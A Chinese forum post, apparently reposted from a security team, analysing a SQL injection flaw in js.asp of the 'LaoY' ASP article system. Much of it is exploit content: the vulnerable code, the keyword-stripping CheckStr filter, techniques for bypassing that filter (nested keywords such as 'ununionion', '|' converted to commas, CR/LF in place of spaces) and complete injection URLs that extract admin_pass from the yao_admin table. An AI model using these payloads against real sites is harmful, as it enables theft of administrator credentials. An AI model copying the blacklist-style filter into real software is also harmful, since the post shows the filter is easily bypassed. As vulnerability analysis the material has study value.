黑色星空
欢迎你,注册进来让我们共同打造这片星空吧。。。。。。

by: niusan521

Join the forum, it's quick and easy

黑色星空
欢迎你,注册进来让我们共同打造这片星空吧。。。。。。

by: niusan521
黑色星空
Would you like to react to this message? Create an account in a few clicks or log in to continue.

09年脚本漏洞总结、、、、

向下

09年脚本漏洞总结、、、、 Empty 09年脚本漏洞总结、、、、

帖子  niusan521 周五 二月 03, 2012 2:55 pm

信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
幻泉[B.S.N]
继07年的搜索注入和08年的cookies注入后,09年的脚本漏洞有什么新的变化呢?各位看官请随笔者一起来分析一下吧。
案例1:防注入代码不防注入
这里我们利用老y系统来说明问题。漏洞出现在js.asp文件中。

If CheckStr(Request("ClassNo")) <> "" then
ClassNo = split(CheckStr(Request("ClassNo")),"|")
'这里是获取变量利用checkstr过滤,但是感觉好像没起作用。然后分成数组
on error resume next
NClassID = LaoYRequest(ClassNo(0))
NClassID1 = LaoYRequest(ClassNo(1))
'获取数组1,与数组2进行整形过滤。这里没有漏洞
End if
num = LaoYRequest(request.querystring("num"))'这里num必须>=1
.......
set rs=server.createObject("Adodb.recordset")
sql = "Select top "& num &" ID,Title,TitleFontColor,Author,ClassID,DateAndTime,Hits,IsTop,IsHot from Yao_Article Where yn = 0"
If NclassID<>"" and NclassID1="" then
If Yao_MyID(NclassID)="0" then
SQL=SQL&" and ClassID="&NclassID&""
else
MyID = Replace(""&Yao_MyID(NclassID)&"","|",",")
SQL=SQL&" and ClassID in ("&MyID&")" ‘in(1,2,3)
End if
elseif NclassID<>"" and NclassID1<>"" then
MyID = Replace(""&Request("ClassNo")&"","|",",") ‘把所有的|过滤为, 1|1|2|2|2 myid=1,1,2,2,2
SQL=SQL&" and ClassID in ("&MyID&")" ‘in(1,1,2) union select 1,admin_pass,3,4,5,6,7,8,9 from yao_admin where id in(1)
'这里出现的问题classno并没做其他过滤就写入到查询
End if

select case topType
case "new" sql=sql&" order by DateAndTime desc,ID desc"
case "hot" sql=sql&" order by hits desc,ID desc"
case "IsHot" sql=sql&" and IsHot = 1 order by ID desc"
end select
set rs = conn.execute(sql)
if rs.bof and rs.eof then
str=str+"没有符合条件的文章"
........
这里代码都做了注解,主要就是因为只对ClassNo做了checkStr过滤并且把“|”转换成“,”。这里我们看下他的过滤先后顺序,以后要用到。第一次过滤用的是CherckStr函数过滤,然后再用replace把“|”转换为“,”。继续看CheckStr函数代码

function CheckStr(str)
CheckStr=replace(replace(replace(replace(str,"<","<"),">",">"),chr(13),"")," ","")
CheckStr=replace(replace(replace(replace(CheckStr,"'",""),"and",""),"insert",""),"set","")
CheckStr=replace(replace(replace(replace(CheckStr,"select",""),"update",""),"delete",""),chr(34),"")
CheckStr=replace(replace(replace(replace(replace(CheckStr,"*",""),"=",""),"or",""),"mid",""),"count","")
end function


这里仅仅把一些常用的过滤为空。接下来我们就可以构造注射代码了。我当时已经给出获取密码的注射代码

js.asp?num=1&ClassNo=1|1|1) union select 1,admin_pass,3,4,5,6,7,8,9 from yao_admin where id in(1

(由于老代码已经失去了,所以没办法抓图,我再次看发现老代码也对select进行过滤,但是checkstr应该没起作用。)
好了,之前的漏洞说完了,我们再看他新的修补方式。Js.asp没改变,只改变了过滤函数。如下代码:

function CheckStr(str)
CheckStr=replace(replace(replace(replace(str,"<","<"),">",">"),chr(13),"")," ","")
CheckStr=replace(replace(replace(replace(CheckStr,"'",""),"and",""),"insert",""),"set","")
CheckStr=replace(replace(replace(replace(CheckStr,"select",""),"update",""),"delete",""),chr(34),"")
CheckStr=replace(replace(replace(replace(CheckStr,"*",""),"=",""),"mid",""),"count","")
CheckStr=replace(replace(replace(replace(CheckStr,"%",""),",",""),"union",""),"where","")
end function

这里增加了过滤内容,最主要的是吧之前的“,”过滤掉了,还有union联合查询等等。既然知道了他如何修补的那么我们就开始进行突破吧。首先得跟大家说下replace的过滤过程,假设我们现在有个字符串为“123unionunion”这样的一串字符串而过滤函数我们简写成CheckStr=replace(CheckStr,”union”,””)。以下是测试代码

<%
Function CheckStr(str)
CheckStr=replace(Str,"union","")
end Function
a = Request("a")
response.write "未过滤字符串是:" & a & "<br>"
a = CheckStr(a)
response.write "过滤后字符串是:" & a
%>


当字符串被过滤的时候replace就会检查是否有与union匹配的字符串,如果有则过滤为空,那么我们的字符串最后就剩下“123”。这样过滤就成功阻止了sql语句的代码


但是如果我们用“123ununionion”这样的字符串呢?当字符串被过滤的时候replace会把匹配的union过滤掉然后进入下一个执行代码。这样我们刚才的字符串被过滤后就会变成“123union”这样的一个字符串,虽然过滤了中间包含的union但是我们精心构造代码的却因为他过滤为空导致被剩下,这样就绕过了他的防注入防线。

虽然第一步是绕过了但是路还是很长,像“,”这样的一个字符中间是没办法加其他字符的所以需要想其他方式绕过。这就需要利用上面我所强调的代码了。ClassNo最后还经过一个Replace(SQL,"|",",")过滤。上面js.asp代码做了注解,ClassNo是以数组获取过来的,作者利用了split(CheckStr(Request("ClassNo")),"|")进行数组分段。那么我们如果是写的是“|”最后sql显示的是什么呢?

我在源代码加入如上代码为了让sql语句显示。

看到了把,当我们写入“|”的时候他导入到sql就变成了,就是上面的Replace(SQL,"|",",")立功了。
好了现在主要内容都做了绕过我们再测试下吧。
http://localhost/js.asp?num=1&ClassNo=1|1|1)%20unwhereion%20selewherect%201|admin_pass|3|4|5|6|7|8|9%20from%20yao_admin%20wherwheree%20id%20in(1


跟我们所想的一样,但是空格被过滤导致代码没被执行。那么我们继续突破吧。前人给总结过关于绕过过滤空格执行sql的方法。但对于access数据库来说我们回车的ascii码(%0D%0A%0D%0A)来绕过。


看到了把,绕过了他防注入代码获取到了我们需要的管理员密码]09年脚本漏洞总结
niusan521
niusan521

帖子数 : 210
注册日期 : 12-01-09

返回页首 向下

返回页首


 
您在这个论坛的权限:
不能在这个论坛回复主题